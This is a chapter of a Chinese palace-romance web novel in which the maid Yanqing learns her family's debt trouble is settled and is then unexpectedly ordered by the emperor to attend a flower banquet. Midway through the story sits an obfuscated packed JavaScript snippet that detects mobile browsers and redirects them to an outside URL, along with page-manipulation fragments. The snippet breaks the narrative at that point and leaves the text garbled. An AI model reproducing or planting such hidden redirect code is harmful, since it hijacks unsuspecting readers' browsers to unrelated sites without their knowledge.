“那和你没关系吧。” 说出口的话也是十分的不客气,这又让言卿有些不解,两人的关系不是很要好吗,为什么只是提到妹妹就让宋颜睿如此气愤。 “我,我不是那个意思......” 见宋颜睿有些生气,肖风也变得焦急起来,试图解释,但宋颜睿看上去完全不想继续这个话题,转身就要离开。 在走到门口的时候突然想起了什么,转身十分不友好的看着肖风,开口道: “还有,家妹对那些花没有一点兴趣,以后不要多此一举了,也不要去烦她,请肖将军自重。” 说罢,宋颜睿便头也不回地大步向门外走去。 “唉,颜睿,等等!” 肖风则十分焦急地追了上去,就连书房的门都忘了关。 眼见纪玄逸的表情以肉眼可见的速度阴沉下去,言卿立马眼疾手快地过去关上了门。 不过,从两人方才的对话里,言卿倒是捕捉到了一些信息,随即回想起了自己那日在御花园撞见肖风时的情况,以及他慌张的表现。 原来肖风的爱慕之人是宋丞相的妹妹啊。 不过宋丞相看上去对此很不满意,这几人之间似乎有不小的故事。 就在言卿还在琢磨几人的关系时,书案前的纪玄逸突然起身向门外走去。 “跟着。” “干什么去?” 言卿几乎是下意识地反问,随后立刻想捂住自己的嘴。 老实跟着就行了,多什么嘴。 果然,纪玄逸对于言卿的反问有些意外,眉毛微挑了一下。 “......用膳。” 这是言卿今天听到的第一个好消息,简直太好了,以至于言卿的脚步都轻快了起来。 —— 用完膳后,言卿感觉自己满血复活,而且很快就得到了第二个好消息——皇上下午要外出狩猎,不在宫中。 这并不是普通的狩猎,听说好像是城外的一个刺客据点?当然,无论是什么言卿都不在意,至于为什么说是好消息呢,那是因为,她不用跟着去,也就是说自己下午以至于晚上都不用面对纪玄逸了。 “言卿,这个你拿去吧。” 当言卿在屋内整理内务的时候,膳房的姑姑突然敲了敲门,言卿打开门,发现对方的手中端着一个朴素的盘子,上面放着几块精致的糕点。 “这是?” “这是桂花糕啊,皇上不爱吃甜食,午膳上一口都没动,膳房的人说你很喜欢,我便给你送来了,不然可就浪费了。” 膳房姑姑乐呵呵地说道,随后热情地将盘子放到桌上。 “谢谢姑姑!” 言卿喜出望外,自己真的很喜欢御膳房做的糕点,但在午膳的时候,因为一起用餐的人很多,她便没好意思吃太多。 “对了,洗衣房的王姨说是有事找你,就在后院,你记得过去一下。” “啊,好的,我马上过去。” 王姨?言卿还记得,那是当时带自己入宫的洗衣房的姑姑,是自己的恩人,于是言卿急忙放下手中的活匆匆地赶去了后院。 “王姨。” “天哪,言卿,真的是你!” 言卿刚到后院就看到王姨有些局促地来回踱步,在见到自己后立刻焦急地迎了上来。 “没受伤吧,过得还好吗?” “我没事,王姨,这是怎么了?” 见到王姨一脸担忧的看着自己,言卿急忙摆了摆手。 “我听老刘说了你们家的情况,那个侍郎真是太可恶了。” “唉,刘伯伯?”是介绍自己去皇宫的叔叔,但,他为什么会知道郑侍郎的事情? “是你们家那个小伙子说的,好像叫什么,柳辰良?他听闻了我在皇宫工作,托我来给你带话。” “那是什么?” 言卿有些紧张,谁知道那是否是一个好消息。 “他说他去了郑侍郎的府中,对方收了钱,也让他立了字据,郑侍郎虽然很不服气,但应该不会再找你们的麻烦了。” “真的吗,太好了!” 言卿十分惊喜,至此自己心里的大石头终于落了地,同时心中又对柳辰良多了几分敬佩,不光敢一个人走进侍郎府,甚至还能让郑侍郎立下字据,真是不简单...... “还有,他说剩下的银子还有很多,你爷爷的药钱也不用担心了。” 王姨说着,脸上也带上了几分轻松,言卿更是如此,那日自己着急,没有仔细清点银子的数量,没想到纪玄逸居然给了自己那么多...... “我这次来就是为了告诉你这个好消息,时候不早了,我得赶紧回去洗衣房了。” “王姨,谢谢您。” 若不是王姨,言卿估计要好一段时间无法知道外面的情况,一直处于担忧和焦虑的情绪中,现在她也可以放心了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147472|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别了王姨后,言卿如释重负地躺在床上,心情是前所未有的轻松。 今天到底是什么好日子?好消息一个接着一个。 不对,现在还不能完全松懈,等纪玄逸回来,她还要服侍他就寝。 不过令她出乎意料的是,刘公公告诉自己,今晚不用去服侍皇上,虽不知缘由,但言卿今晚睡了这段时间以来舒服的一次觉。 —— “唔——” 翌日清晨,言卿从床上起身伸了个懒腰,下意识望向窗外。 因为昨天早上发生的事,言卿今日特地早起了半个时辰,若这次自己还是晚了,那她就真没办法了。 “奴婢进来了。” 言卿敲了敲门,在依旧没有得到回应之后轻声地推门而入。 而后便看见纪玄逸此时正面色阴沉的靠坐在床上。 看上去像是起床气,不过这也说明言卿来的时间刚刚好。 只见纪玄逸瞥了言卿一眼,随后淡淡的开口道。 “今日倒是勤快。” “今日是赏花宴,宋丞相特地交代了奴婢不可迟到。” 没错,昨日的会议结束之后,宋丞相特地过来找了言卿一趟,这不是一个并不是一个聪明的主意,因为言卿对此也无计可施。 “过来更衣。” 言卿会意,拿着衣裳上前,今日的衣裳是特地为宴会准备的,款式比以往都要复杂不少,不过好在言卿昨日特地去姑姑那学习了。 言卿利索的将衣着整理好,随后恭敬的退到了一旁,即使纪玄逸的表情看上去依旧不满意,但却并未多说什么。 “那奴婢就先退下了。” 现在距离宴会还有一段时间,完全足够了,当然了,自己不用跟着去。 如此大型的宴会,即使自己是皇帝的贴身侍女,也没有资格参与,作为御前太监的刘公公会全程伺候皇上,自己则在后面打杂。 不用面对纪玄逸,这对于言卿来说再好不过了。 带路的侍女已经在门口候着了,言卿行了礼便转身离开。 “朕好像没说你可以走了。” “......” 言卿刚转身迈开脚步,身后立刻传来了低沉的声音,言卿有些僵硬的转身,同时快速扫视了一下纪玄逸的服饰。 没有一点问题,那为什么突然叫住自己? “皇上还有什么吩咐?” “今日的宴会,你也要去。” “......什么?” 还没等言卿理解纪玄逸那话的意思,只见后者抬了下手,门外的侍女们便鱼贯而入。 “收拾一下。” 纪玄逸话音刚落,侍女们便左右开弓架住了言卿,将她带离了皇帝的寝宫。 —— “言小姐,这件衣裳可好?” 又被带到了熟悉的屋子,言卿一脸困惑的坐在屋内,显得十分局促。 自己也要去宴会是什么意思?等言卿回过神来的的时候,侍女们已经帮自己梳妆打扮好,此时正在挑选衣裳。 “为什么要这样......” 言卿有些虚弱的开口问道。 “是皇上的意思,宴会马上就要开始了,言小姐,我们得抓紧了。” 回答言卿的依旧是那位那位最年长的侍女。 一听没有多少时间了,虽然言卿没有搞清楚状况,但还是快速的选择了一件相对最朴素的裙子。 在更衣的时候,无数不好的预感向言卿袭来。 侍女明明是不能出席宴会的才对,为什么自己要去,难道......不是作为侍女? 仔细想想,言卿曾经见过这种情况,在以前参加宴会的时候,除了母后,父皇每次都会带着不同的妃子出席宴会,在旁边给他端茶倒酒。 虽然这十分不合礼数,但父皇却对此十分享受,不听任何劝解。 而同样的,众所周知,东瀛国皇帝的后宫空无一人,而自己又正好被纪玄逸盯上...... 由此,一个肯定的推测在言卿脑中逐渐清晰起来——纪玄逸是想像父皇那般对待自己!